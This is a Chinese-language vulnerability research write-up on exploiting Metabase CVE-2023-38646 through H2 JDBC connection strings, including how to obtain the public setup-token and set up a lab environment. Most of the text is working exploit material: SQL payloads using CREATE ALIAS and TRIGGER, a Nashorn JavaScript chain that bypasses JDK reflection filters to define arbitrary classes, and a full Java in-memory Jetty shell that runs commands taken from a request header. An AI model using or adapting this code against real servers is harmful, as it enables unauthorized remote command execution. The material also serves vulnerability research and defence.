最近 Metabase 出了一個遠端代碼執行漏洞(CVE-2023-38646),我們通過研究分析發現該漏洞是通過 JDBC 來利用的。在 Metabase 中相容了多種資料庫,本次漏洞中主要通過 H2 JDBC 連接配接資訊觸發漏洞。目前公開針對 H2 資料庫深入利用的技術僅能做到簡單指令執行,無法滿足實際攻防場景。
之前 pyn3rd 釋出的 《Make JDBC Attacks Brilliant Again I 》 對 H2 資料庫的利用中可以通過 RUNSCRIPT、TRIGGER 來執行代碼,通過本次漏洞利用 TRIGGER + DefineClass 完整的實作了 JAVA 代碼執行和漏洞回顯,且在公開僅支援 Jetty10 版本的情況下相容到了 Jetty11,以下是我們在 Goby 中成果。
02 環境建構
研究采用 Vulfocus 建構,由于 Meabse 在官方 Docker 隻有 x86 架構,為了我們 M1 晶片研究更高效,我們制作了 ARM 架構的鏡像。
線上環境:https://vulfocus.cn/#/dashboard?image_id=4a5e263f-8662-46bf-a67a-13bd72cf976c
離線環境:docker run -d -P vulfocus/vcpe-1.0-a-metabase-metabase:0.46.6-openjdk-release
03 漏洞分析
本次漏洞主要是由于 Metabase 中資料庫連接配接中出現的安全風險漏洞,在整個産品可通過 Metabase 安裝時配置資料源資料庫以及在安裝之後在系統管理中配置資料庫資訊。是以整體的漏洞點即可通過安裝以及配置資料源開始。
在産品安裝時會調用 /api/setup/validate 來對參數校驗,其中最為核心的部分對資料庫的連接配接資訊校驗。
從函數調用的邏輯來看,/api/setup/validate 會通過 api.database/test-database-connection 來處理輸入的參數完成對資料庫的校驗。但本身 api.database/test-database-connection 其實就是 POST /api/database 路由的核心處理參數。
從整體的邏輯來看,該漏洞可通過 setup、database 兩種方式來完成對漏洞驗證,不同的是 setup 方式在安裝時是不需要權限的,database 需要管理者權限。
setup 在安裝時會校驗 setup-token 參數是否正确,來判斷是否要進行下步的資料庫連接配接。
而 setup-token 在進行生成的時候被預設設定為了 public 權限,是以可以通過 /api/session/properties 來讀取。
04 深入利用
在漏洞分析章節中說明,我們可以通過 setup + setup-token 來完整的漏洞利用。在利用時主要依靠于資料庫的類型,目前 Metabase 支援多種資料庫,本次我們重點說明 H2 資料庫的深入利用,目前最為常用利用方式是 RUNSCRIPT 、TRIGGER 來完成對漏洞的利用。
H2 資料庫在資料庫時擁有函數 init 參數,該參數可以執行任意一條 SQL 語句,是以在整體圍繞利用中主要通過一條 SQL 語句變換成完美的漏洞利用鍊條。
4.1RUNSCRIRT
RUNSCRIPT FROM 可以使用 HTTP 協定執行遠端的 SQL 語句,那麼在利用的時候我們即可構造惡意的 SQL 語句來完成對漏洞利用。
在執行 SQL 語句時 CREATE ALIAS 來會将内容值進行 javac 編譯之後然後運作。
DROP ALIAS IF EXISTS sehll;CREATE ALIAS sehll AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "hello";}';CALL sehll ('touch /tmp/123')
需要注意的是預設官方釋出的 Docker 鏡像中沒用 javc 指令,是以 CREATE ALIAS 無法正常使用。
但是該方式需要依賴 HTTP 服務,通常禁止向外部網絡建立 HTTP 協定請求,是以這種方式在真實的攻擊中發揮的作用就會小很多。
4.2 TRIGGER
H2 在解析 init 參數時對 CREATE TRIGGER 會由 loadFromSource 做特殊處理,根據執行内容的開頭來判斷是否為需要通過 javascript 引擎執行。如果以 //javascript 開頭就會通過 javascript 引擎進行編譯然後進行執行。
我們就可以通過 javascript 引擎來實作代碼執行,不過該方式在 JDK 15 之後移除了預設的解析,但是有意思的是 Metabase 在項目中使用到了 js 引擎技術。
最後我們即可建構 javascript 引擎來建構代碼執行,如:
java.lang.Runtime.getRuntime().exec('touch /tmp/999')
4.3 Define Class
通過 TIGGER 我們可以進行 javascript 引擎的任意代碼執行,是以為了能夠更加入的利用非常有必要進行自定義 Class 加載以及執行。由于最新版的 Metabase 對 JDK 運作産生了限制必須要求為 JDK >= 11,是以就必須要解決 JDK9 modules、JDK 11 ReflectionFilter 的問題。
針對類似問題,我們對 javascript 腳本進行了高度的相容以及高版本 JDK 的 Bypass 操作,核心代碼如下:
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
function getUnsafe(){
var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafeMethod.setAccessible(true);
return theUnsafeMethod.get(null);
}
function removeClassCache(clazz){
var unsafe = getUnsafe();
var clazzAnonymousClass = unsafe.defineAnonymousClass(clazz,java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes(),null);
var reflectionDataField = clazzAnonymousClass.getDeclaredField("reflectionData");
unsafe.putObject(clazz,unsafe.objectFieldOffset(reflectionDataField),null);
}
function bypassReflectionFilter() {
var reflectionClass;
try {
reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");
} catch (error) {
reflectionClass = java.lang.Class.forName("sun.reflect.Reflection");
}
var unsafe = getUnsafe();
var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);
var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
var methodFilterMapField = reflectionAnonymousClass.getDeclaredField("methodFilterMap");
if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
}
if (methodFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(methodFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
}
removeClassCache(java.lang.Class.forName("java.lang.Class"));
}
function setAccessible(accessibleObject){
var unsafe = getUnsafe();
var overrideField = java.lang.Class.forName("java.lang.reflect.AccessibleObject").getDeclaredField("override");
var offset = unsafe.objectFieldOffset(overrideField);
unsafe.putBoolean(accessibleObject, offset, true);
}
function defineClass(){
var clz = null;
var version = java.lang.System.getProperty("java.version");
var unsafe = getUnsafe();
var classLoader = new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0));
try{
if (version.split(".")[0] >= 11) {
bypassReflectionFilter();
defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", java.lang.Class.forName("[B"),java.lang.Integer.TYPE, java.lang.Integer.TYPE);
setAccessible(defineClassMethod);
// 繞過 setAccessible
clz = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
}else{
var protectionDomain = new java.security.ProtectionDomain(new java.security.CodeSource(null, java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.security.cert.Certificate"), 0)), null, classLoader, []);
clz = unsafe.defineClass(null, bytes, 0, bytes.length, classLoader, protectionDomain);
}
}catch(error){
error.printStackTrace();
}finally{
return clz;
}
}
defineClass();
4.3 漏洞回顯
在漏洞回顯時,我們就可以借助 DefineClass 來執行完成對漏洞的回顯利用,但是目前最新版本的 Metabase 使用 Jetty11,是以需要針對該版本做回顯适配,核心代碼如下:
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;
/**
* Jetty CMD 回顯馬
* @author R4v3zn [email protected]
* @version 1.0.1
*/
public class JE2 {
public JE2(){
try{
invoke();
}catch (Exception e){
e.printStackTrace();
}
}
public void invoke()throws Exception{
ThreadGroup group = Thread.currentThread().getThreadGroup();
java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
f.setAccessible(true);
Thread[] threads = (Thread[]) f.get(group);
thread : for (Thread thread: threads) {
try{
Field threadLocalsField = thread.getClass().getDeclaredField("threadLocals");
threadLocalsField.setAccessible(true);
Object threadLocals = threadLocalsField.get(thread);
if (threadLocals == null){
continue;
}
Field tableField = threadLocals.getClass().getDeclaredField("table");
tableField.setAccessible(true);
Object tableValue = tableField.get(threadLocals);
if (tableValue == null){
continue;
}
Object[] tables = (Object[])tableValue;
for (Object table:tables) {
if (table == null){
continue;
}
Field valueField = table.getClass().getDeclaredField("value");
valueField.setAccessible(true);
Object value = valueField.get(table);
if (value == null){
continue;
}
System.out.println(value.getClass().getName());
if(value.getClass().getName().endsWith("AsyncHttpConnection")){
Method method = value.getClass().getMethod("getRequest", null);
value = method.invoke(value, null);
method = value.getClass().getMethod("getHeader", new Class[]{String.class});
String cmd = (String)method.invoke(value, new Object[]{"cmd"});
String result = "\n"+exec(cmd);
method = value.getClass().getMethod("getPrintWriter", new Class[]{String.class});
java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(value, new Object[]{"utf-8"});
printWriter.println(result);
printWriter.flush();
break thread;
}else if(value.getClass().getName().endsWith("HttpConnection")){
Method method = value.getClass().getDeclaredMethod("getHttpChannel", null);
Object httpChannel = method.invoke(value, null);
method = httpChannel.getClass().getMethod("getRequest", null);
value = method.invoke(httpChannel, null);
method = value.getClass().getMethod("getHeader", new Class[]{String.class});
String cmd = (String)method.invoke(value, new Object[]{"cmd"});
String result = "\n"+exec(cmd);
method = httpChannel.getClass().getMethod("getResponse", null);
value = method.invoke(httpChannel, null);
method = value.getClass().getMethod("getWriter", null);
java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(value, null);
printWriter.println(result);
printWriter.flush();
break thread;
}else if (value.getClass().getName().endsWith("Channel")){
Field underlyingOutputField = value.getClass().getDeclaredField("underlyingOutput");
underlyingOutputField.setAccessible(true);
Object underlyingOutput = underlyingOutputField.get(value);
Object httpConnection;
try{
Field _channelField = underlyingOutput.getClass().getDeclaredField("_channel");
_channelField.setAccessible(true);
httpConnection = _channelField.get(underlyingOutput);
}catch (Exception e){
Field connectionField = underlyingOutput.getClass().getDeclaredField("this$0");
connectionField.setAccessible(true);
httpConnection = connectionField.get(underlyingOutput);
}
Object request = httpConnection.getClass().getMethod("getRequest").invoke(httpConnection);
Object response = httpConnection.getClass().getMethod("getResponse").invoke(httpConnection);
String cmd = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "cmd");
OutputStream outputStream = (OutputStream)response.getClass().getMethod("getOutputStream").invoke(response);
String result = "\n"+exec(cmd);
outputStream.write(result.getBytes());
outputStream.flush();
break thread;
}
}
}catch (Exception e){}
}
}
public String exec(String cmd){
if (cmd != null && !"".equals(cmd)) {
String os = System.getProperty("os.name").toLowerCase();
cmd = cmd.trim();
Process process = null;
String[] executeCmd = null;
if (os.contains("win")) {
if (cmd.contains("ping") && !cmd.contains("-n")) {
cmd = cmd + " -n 4";
}
executeCmd = new String[]{"cmd", "/c", cmd};
} else {
if (cmd.contains("ping") && !cmd.contains("-n")) {
cmd = cmd + " -t 4";
}
executeCmd = new String[]{"sh", "-c", cmd};
}
try {
process = Runtime.getRuntime().exec(executeCmd);
Scanner s = new Scanner(process.getInputStream()).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
s = new Scanner(process.getErrorStream()).useDelimiter("\\a");
output += s.hasNext()?s.next():"";
return output;
} catch (Exception e) {
e.printStackTrace();
return e.toString();
} finally {
if (process != null) {
process.destroy();
}
}
} else {
return "command not null";
}
}
}
05 總結
本次漏洞利用資料庫連接配接資訊觸發漏洞,利用 H2 導緻可以進行任意指令。我們采用 TRIGGER + DefineClass 完成對漏洞的利用,通過我們的研究分析發現該技術不光可應用在資料庫連接配接中,更多可應用于 H2 的 SQL 注入,完成 SQL 注入 -> 代碼執行的過程。
06 參考
- https://pyn3rd.github.io/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/